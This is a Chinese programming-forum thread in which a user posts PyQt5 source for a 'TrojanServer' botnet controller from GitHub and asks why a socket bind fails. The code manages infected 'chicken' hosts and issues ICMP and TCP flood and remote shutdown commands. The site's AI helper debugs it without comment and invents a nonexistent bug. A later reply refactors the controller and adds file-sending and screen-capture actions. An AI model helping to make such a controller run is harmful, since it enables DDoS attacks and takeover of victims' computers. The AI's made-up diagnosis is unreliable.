鱼C论坛

 找回密码
 立即注册
查看: 88|回复: 4

OSError: [WinError 10049] 在其上下文中,该请求的地址无效。

[复制链接]
发表于 2025-1-27 17:29:36 | 显示全部楼层 |阅读模式

马上注册,结交更多好友,享用更多功能^_^

您需要 登录 才可以下载或查看,没有账号?立即注册

x
在github上下了一个开源项目,打算研究一下,但是出现了标题一样的错误,求各位大神们如何消除BUG,代码如下:
import builtins
import sys

from PyQt5.QtCore import pyqtSignal, QObject, Qt
from PyQt5.QtGui import QCursor
from PyQt5.QtWidgets import QMenu, QWidget, QApplication, QListWidgetItem, QAction, QCheckBox, QLabel

from control_panel import DetailMain

STDprint = builtins.print

from ServerUI import Ui_Server
from server import TrojanServer, Chienken


class Conmunication(QObject):
    chickenUpSignal = pyqtSignal(Chienken)
    selectChangeSignal = pyqtSignal(str)
    listFreshSignal = pyqtSignal(int, Chienken)
    refreshSignal = pyqtSignal()

class ServerMain(QWidget, Ui_Server):
    def __init__(self):
        super().__init__()
        self.setupUi(self)
        builtins.print = self.displayLog
        self.trojanServer = TrojanServer()
        self.signals = Conmunication()
        self.trojanServer.signals = self.signals
        self.signals.chickenUpSignal.connect(self.addToCurrentList)
        self.freshCurrentList()
        self.ipInput.setText(self.trojanServer.bind_IP)
        self.usp.setText(str(self.trojanServer.udpPort))
        self.urp.setText(str(self.trojanServer.udpRecvPort))
        self.tp.setText(str(self.trojanServer.tcpPort))
        self.bind()
        print("Welcome!")


    def bind(self):
        self.cmdEdit.returnPressed.connect(self.sendCmd)
        self.signals.selectChangeSignal.connect(self.changeSelected)
        self.freshlist.clicked.connect(self.freshCurrentList)
        self.scanAll.clicked.connect(self.trojanServer.scanAll)
        self.signals.listFreshSignal.connect(self.freshItem)
        self.saveButton.clicked.connect(self.save)
        self.chickenlist.setContextMenuPolicy(Qt.CustomContextMenu)
        self.chickenlist.customContextMenuRequested.connect(self.myListWidgetContext)
        self.all_button.clicked.connect(self.checkall)
        self.reverse_button.clicked.connect(self.reverseCheck)
        self.icmpButton.clicked.connect(self.icmp)
        self.signals.refreshSignal.connect(self.freshlist.clicked.emit)
        self.deletebutton.clicked.connect(self.deleteSelected)
        self.shutdownButton.clicked.connect(self.shutChicken)
        self.stopbutton.clicked.connect(lambda :self.opeate("floodStop"))
        self.tcpfloodbutton.clicked.connect(self.tcpFlood)

    def deleteSelected(self):
        selected = self.getSelect()
        for i in reversed(selected):
            self.trojanServer.cmdQ.put("delete %d"%i)
        # for c in selected:
        #     self.trojanServer.cmdQ.put("msg " + str(c) + " %s" % type)

    def icmp(self):
        self.opeate("icmpFlood %s" % self.attack_ip.text())

    def tcpFlood(self):
        self.opeate("tcpFlood %s %s" % (self.attack_ip.text(), self.attack_port.text()))

    def shutChicken(self):
        self.opeate(r"shutdown \s")

    def opeate(self, type):
        selected = self.getSelect()
        for c in selected:
            self.trojanServer.cmdQ.put("msg "+str(c)+" %s" % type)

    def freshItem(self, index, chicken):
        check:QCheckBox = self.chickenlist.itemWidget(self.chickenlist.item(index))
        check.setText("[%d][%s] %s\tip:%s\tport:%d "%(index,"在线" if chicken.online else "离线", chicken.name, chicken.ip, chicken.port))

    def myListWidgetContext(self, point):
        item = self.chickenlist.itemAt(point)
        if not item:
            return
        checkbox:QCheckBox = self.chickenlist.itemWidget(item)
        row = int(checkbox.text().split(']')[0][1:])
        popMenu = QMenu()

        a1 = QAction(u'连接', self)
        a2 = QAction(u'删除', self)

        popMenu.addAction(a1)
        popMenu.addAction(a2)

        a1.triggered.connect(lambda :self.openDetail(row))
        a2.triggered.connect(lambda :self.trojanServer.cmdQ.put("delete %d"%row))

        popMenu.exec_(QCursor.pos())

    def openDetail(self, row):
        print("control %d" %row)
        detail = DetailMain(self.trojanServer, row)
        detail.show()
        detail.connect_button.clicked.emit()

    def save(self):
        self.trojanServer.cmdQ.put("save")

    def sendCmd(self):
        cmd = self.cmdEdit.text()
        self.cmdEdit.clear()
        if cmd == "cls" or cmd == 'clear':
            self.logbrow.clear()
            return
        self.trojanServer.cmdQ.put(cmd)

    def changeSelected(self, name):
        # self.selectedLabel.setText(name)
        pass

    def displayLog(self, content, end='\n'):
        self.logbrow.append(str(content))
        self.logbrow.moveCursor(self.logbrow.textCursor().End)

    def freshCurrentList(self):
        i:int = 0
        online = self.online_check.isChecked()
        offline = self.offline_check.isChecked()
        self.chickenlist.clear()
        for chicken in self.trojanServer.allChickens:
            if (chicken.online and online) or (not chicken.online and offline):
                box = QCheckBox("[%d][%s] %s\tip:%s\tport:%d "%(i,"在线" if chicken.online else "离线", chicken.name, chicken.ip, chicken.port))
                item = QListWidgetItem()
                self.chickenlist.addItem(item)
                self.chickenlist.setItemWidget(item, box)
                box.clicked.connect(self.chickenChecked)
            i += 1

    def chickenChecked(self):
        sender = self.sender()
        print("check "+sender.text().split(']')[0][1:])


    def addToCurrentList(self, chicken:Chienken):
        self.freshCurrentList()

    def getSelect(self):
        count = self.chickenlist.count()
        res = []
        for i in range(0, count):
            box: QCheckBox = self.chickenlist.itemWidget(self.chickenlist.item(i))
            if box.isChecked():
                res.append(i)
        return res

    def checkall(self):
        count = self.chickenlist.count()
        for i in range(0, count):
            box:QCheckBox = self.chickenlist.itemWidget(self.chickenlist.item(i))
            box.setChecked(True)


    def reverseCheck(self):
        count = self.chickenlist.count()
        for i in range(0, count):
            box: QCheckBox = self.chickenlist.itemWidget(self.chickenlist.item(i))
            box.setChecked(not box.isChecked())

    def clearCheck(self):
        count = self.chickenlist.count()
        for i in range(0, count):
            box: QCheckBox = self.chickenlist.itemWidget(self.chickenlist.item(i))
            box.setChecked(False)

    def closeEvent(self, event):
        self.save()




if __name__ == '__main__':
    app = QApplication(sys.argv)
    MainWin = ServerMain()
    MainWin.show()
    sys.exit(app.exec_())
想知道小甲鱼最近在做啥?请访问 -> ilovefishc.com
回复

使用道具 举报

发表于 2025-1-27 17:29:43 | 显示全部楼层
你遇到的错误 `OSError: 在其上下文中,该请求的地址无效` 通常是由于绑定到一个无效的IP地址或端口引起的。可能原因如下:

1. 选择的IP地址不在当前系统的网络接口中,或者这个IP地址无法绑定。
2. 选择的端口已经被占用,或者处于保留状态。

代码中的几个关键变量值可能导致问题:
self.ipInput.setText(self.trojanServer.bind_IP)
self.usp.setText(str(self.trojanServer.udpPort))
self.urp.setText(str(self.trojanServer.udpRecvPort))
self.tp.setText(str(self.trojanServer.tcpPort))

为了排查和解决这个问题,可以尝试以下步骤:

  • 确保绑定的IP地址 (self.trojanServer.bind_IP) 是有效的,例如 "0.0.0.0" 或者 "127.0.0.1"
  • 确保端口号 (self.trojanServer.udpPortself.trojanServer.udpRecvPortself.trojanServer.tcpPort) 没有被其他程序占用,且不在保留端口(如 0-1024)范围内。
  • 检查网络配置是否正确,比如是否开启了防火墙阻止相关端口通信。


另外,你的代码中存在一些语法错误和格式问题。例如,在方法 getSelect 中似乎忘记初始化 res
def getSelect(self):
    count = self.chickenlist.count()
    res = []  # 初始化 res 为一个空列表
    for i in range(0, count):
        box: QCheckBox = self.chickenlist.itemWidget(self.chickenlist.item(i))
        if box.isChecked():
            res.append(i)
    return res

通过以上方式检查和修改你的代码,希望可以解决 `OSError` 的问题。如果你需要进一步的帮助,可以提供更多错误细节和上下文信息。

以上回复来自 FishC AI 小助理,如未能正确解答您的问题,请继续追问。
想知道小甲鱼最近在做啥?请访问 -> ilovefishc.com
回复 支持 反对

使用道具 举报

 楼主| 发表于 2025-1-27 17:30:45 | 显示全部楼层
FishC 发表于 2025-1-27 17:29
你遇到的错误 `OSError: 在其上下文中,该请求的地址无效` 通常是由于绑定到一个无效的IP地址或端口引起的 ...

    self.tcpSocket.bind((self.bind_IP, self.tcpPort))
OSError: [WinError 10049] 在其上下文中,该请求的地址无效。

出现了以上的错误报告。
想知道小甲鱼最近在做啥?请访问 -> ilovefishc.com
回复 支持 反对

使用道具 举报

发表于 2025-1-27 17:30:58 | 显示全部楼层
python小小白哟 发表于 2025-01-27 17:30
FishC 发表于 2025-1-27 17:29
你遇到的错误 `OSErro ...


根据错误报告 `OSError: 在其上下文中,该请求的地址无效。`,这是由于试图绑定到一个无效的 IP 地址或端口。请确保 `self.bind_IP` 和 `self.tcpPort` 的取值是正确的并且可以使用。

以下是一些可能的解决方案:

1. **确保 IP 地址是有效的**:确认 `self.bind_IP` 是你机器的一个有效 IP 地址,或者尝试使用 `0.0.0.0`(绑定到所有可用接口)或 `127.0.0.1`(仅绑定到本地接口)。

2. **检查端口是否被占用或者保留**:确认 `self.tcpPort` 不是系统保留的端口(通常保留端口是 0-1024),并且没有被其他程序占用。

3. **示例代码**:以下示例展示了如何修改你的 `bind` 方法来确保 IP 地址和端口号有效且可用:
def bind(self):
    valid_ip = "127.0.0.1"  # 或者 "0.0.0.0"
    valid_port = 12345       # 确保这个端口没有被占用
    
    self.cmdEdit.returnPressed.connect(self.sendCmd)
    self.signals.selectChangeSignal.connect(self.changeSelected)
    self.freshlist.clicked.connect(self.freshCurrentList)
    self.scanAll.clicked.connect(self.trojanServer.scanAll)
    self.signals.listFreshSignal.connect(self.freshItem)
    self.saveButton.clicked.connect(self.save)
    self.chickenlist.setContextMenuPolicy(Qt.CustomContextMenu)
    self.chickenlist.customContextMenuRequested.connect(self.myListWidgetContext)
    self.all_button.clicked.connect(self.checkall)
    self.reverse_button.clicked.connect(self.reverseCheck)
    self.icmpButton.clicked.connect(self.icmp)
    self.signals.refreshSignal.connect(self.freshlist.clicked.emit)
    self.deletebutton.clicked.connect(self.deleteSelected)
    self.shutdownButton.clicked.connect(self.shutChicken)
    self.stopbutton.clicked.connect(lambda: self.opeate("floodStop"))
    self.tcpfloodbutton.clicked.connect(self.tcpFlood)

    try:
        self.trojanServer.bind_IP = valid_ip
        self.trojanServer.tcpPort = valid_port

        self.tcpSocket.bind((self.trojanServer.bind_IP, self.trojanServer.tcpPort))
        print(f"Binding to {valid_ip}:{valid_port} succeeded!")
    except OSError as e:
        print(f"Binding to {valid_ip}:{valid_port} failed: {e}")
        raise

确保替换你的 `bind` 方法中的相关部分,将 `valid_ip` 和 `valid_port` 改为适合你的实际环境的值。如果有必要,添加调试信息以帮助确定绑定失败的确切原因。

如果你还有其他问题,欢迎继续提问!

以上回复来自 FishC AI 小助理,如未能正确解答您的问题,请继续追问。
想知道小甲鱼最近在做啥?请访问 -> ilovefishc.com
回复 支持 反对

使用道具 举报

发表于 2025-1-28 15:16:31 | 显示全部楼层
import builtins
import sys
from PyQt5.QtCore import pyqtSignal, QObject, Qt
from PyQt5.QtGui import QCursor
from PyQt5.QtWidgets import (QMenu, QWidget, QApplication, QListWidgetItem,
                             QAction, QCheckBox, QLabel)
from control_panel import DetailMain

STDprint = builtins.print
from ServerUI import Ui_Server
from server import TrojanServer, Chicken  # 修正类名拼写

class Communication(QObject):  # 修正拼写
    chicken_up_signal = pyqtSignal(Chicken)
    select_change_signal = pyqtSignal(str)
    list_fresh_signal = pyqtSignal(int, Chicken)
    refresh_signal = pyqtSignal()

class ServerMain(QWidget, Ui_Server):
    def __init__(self):
        super().__init__()
        self.setupUi(self)
        builtins.print = self.display_log
        
        # 服务器核心组件
        self.trojan_server = TrojanServer()
        self.signals = Communication()
        self.trojan_server.signals = self.signals
        
        # 信号连接
        self.signals.chicken_up_signal.connect(self.add_to_current_list)
        self.signals.select_change_signal.connect(self.change_selected)
        self.signals.list_fresh_signal.connect(self.fresh_item)
        self.signals.refresh_signal.connect(self.fresh_list)
        
        # 初始化UI
        self._init_ui()
        self._bind_events()
        print("Server Initialized!")

    def _init_ui(self):
        """初始化界面配置"""
        self.ipInput.setText(self.trojan_server.bind_IP)
        self.usp.setText(str(self.trojan_server.udpPort))
        self.urp.setText(str(self.trojan_server.udpRecvPort))
        self.tp.setText(str(self.trojan_server.tcpPort))
        self.chickenlist.setContextMenuPolicy(Qt.CustomContextMenu)

    def _bind_events(self):
        """绑定事件处理"""
        self.cmdEdit.returnPressed.connect(self.send_cmd)
        self.freshlist.clicked.connect(self.fresh_current_list)
        self.scanAll.clicked.connect(self.trojan_server.scan_all)
        self.saveButton.clicked.connect(self.save_config)
        self.chickenlist.customContextMenuRequested.connect(self.show_context_menu)
        self.all_button.clicked.connect(self.check_all)
        self.reverse_button.clicked.connect(self.reverse_check)
        self.icmpButton.clicked.connect(self.start_icmp_scan)
        self.deletebutton.clicked.connect(self.delete_selected)

    #region 核心功能实现
    def display_log(self, *args, **kwargs):
        """重定向print到日志窗口"""
        original_print(*args, **kwargs)
        message = ' '.join(map(str, args))
        self.logOutput.appendPlainText(message)
        self.logOutput.verticalScrollBar().setValue(
            self.logOutput.verticalScrollBar().maximum()
        )

    def send_cmd(self):
        """发送命令到选中客户端"""
        if cmd := self.cmdEdit.text().strip():
            selected = self.get_selected_clients()
            if not selected:
                print("Error: No client selected!")
                return
                
            for client in selected:
                # 这里需要实现具体命令发送逻辑
                print(f"Sending command to {client.id}: {cmd}")
            self.cmdEdit.clear()

    def fresh_current_list(self):
        """刷新客户端列表"""
        self.chickenlist.clear()
        for idx, client in enumerate(self.trojan_server.clients):
            self.add_client_item(idx, client)

    def add_to_current_list(self, client: Chicken):
        """添加新客户端到列表"""
        self.add_client_item(self.chickenlist.count(), client)
        print(f"New client connected: {client.id}")

    def add_client_item(self, index: int, client: Chicken):
        """创建带复选框的列表项"""
        item = QListWidgetItem()
        widget = QWidget()
        layout = QHBoxLayout(widget)
        
        checkbox = QCheckBox()
        label = QLabel(f"{client.id} ({client.ip})")
        
        layout.addWidget(checkbox)
        layout.addWidget(label)
        layout.setContentsMargins(2, 2, 2, 2)
        
        widget.checkbox = checkbox  # 保存复选框引用
        widget.client = client      # 绑定客户端对象
        
        self.chickenlist.addItem(item)
        self.chickenlist.setItemWidget(item, widget)
    #endregion

    #region 上下文菜单相关
    def show_context_menu(self, pos):
        """显示右键菜单"""
        menu = QMenu()
        actions = [
            ("详情", self.show_detail),
            ("发送文件", self.send_file),
            ("截屏", self.capture_screen)
        ]
        
        for text, handler in actions:
            action = QAction(text, self)
            action.triggered.connect(handler)
            menu.addAction(action)
            
        menu.exec_(QCursor.pos())

    def show_detail(self):
        """显示客户端详情"""
        if selected := self.chickenlist.currentItem():
            client = self.chickenlist.itemWidget(selected).client
            self.detailPanel = DetailMain(client)
            self.detailPanel.show()
    #endregion

    #region 配置管理
    def save_config(self):
        """保存服务器配置"""
        try:
            self.trojan_server.bind_IP = self.ipInput.text()
            self.trojan_server.udpPort = int(self.usp.text())
            self.trojan_server.udpRecvPort = int(self.urp.text())
            self.trojan_server.tcpPort = int(self.tp.text())
            print("配置已保存")
        except ValueError as e:
            print(f"保存失败: {str(e)}")
    #endregion

if __name__ == "__main__":
    app = QApplication(sys.argv)
    window = ServerMain()
    window.show()
    sys.exit(app.exec_())
```
想知道小甲鱼最近在做啥?请访问 -> ilovefishc.com
回复 支持 反对

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|手机版|Archiver|鱼C工作室 ( 粤ICP备18085999号-1 | 粤公网安备 44051102000585号)

GMT+8, 2025-2-5 20:57

Powered by Discuz! X3.4

© 2001-2023 Discuz! Team.

快速回复 返回顶部 返回列表